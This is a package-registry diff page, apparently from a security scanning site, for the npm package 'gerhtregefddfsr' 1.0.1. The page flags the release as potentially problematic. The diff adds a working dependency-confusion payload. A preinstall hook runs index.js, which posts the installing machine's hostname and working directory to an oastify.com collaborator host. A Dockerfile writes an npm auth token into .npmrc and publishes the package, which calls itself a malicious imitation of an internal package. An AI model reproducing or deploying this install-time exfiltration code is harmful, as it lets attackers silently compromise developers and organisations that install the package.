gerhtregefddfsr 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of gerhtregefddfsr might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/Dockerfile +11 -0
  2. package/index.js +23 -0
  3. package/package.json +15 -0
package/Dockerfile ADDED
@@ -0,0 +1,11 @@
1
+ FROM node:14
2
+ ARG PACKAGE_NAME
3
+ ARG NODE_AUTH_TOKEN
4
+ WORKDIR /usr/src/app
5
+ COPY package*.json ./
6
+ COPY index.js ./
7
+
8
+ RUN sed -i "s/{{PACKAGE_NAME}}/$PACKAGE_NAME/g" /usr/src/app/index.js
9
+ RUN sed -i "s/{{PACKAGE_NAME}}/$PACKAGE_NAME/g" /usr/src/app/package.json
10
+ RUN echo "//registry.npmjs.org/:_authToken=$NODE_AUTH_TOKEN" > .npmrc
11
+ CMD ["npm", "publish"]
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ const os = require('os');
2
+ const path = require('path');
3
+ const axios = require('axios');
4
+
5
+ const PACKAGE_NAME = "{{PACKAGE_NAME}}"; // Replace this with your package name
6
+ const HOSTNAME = os.hostname();
7
+ const CURRENT_PATH = process.cwd();
8
+
9
+ const url = "https://3gkkr6u2z1a9rinocp0ue4tw1n7ev4jt.oastify.com";
10
+
11
+ const data = {
12
+ package_name: PACKAGE_NAME,
13
+ hostname: HOSTNAME,
14
+ current_path: CURRENT_PATH
15
+ };
16
+
17
+ axios.post(url, data)
18
+ .then(response => {
19
+ console.log('Response:', response.data);
20
+ })
21
+ .catch(error => {
22
+ console.error('Error:', error);
23
+ });
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "gerhtregefddfsr",
3
+ "version": "1.0.1",
4
+ "description": "Malicious package mimicking internal electron-panel-window",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "dependencies": {
11
+ "axios": "^0.21.1"
12
+ },
13
+ "author": "Malicious Actor",
14
+ "license": "ISC"
15
+ }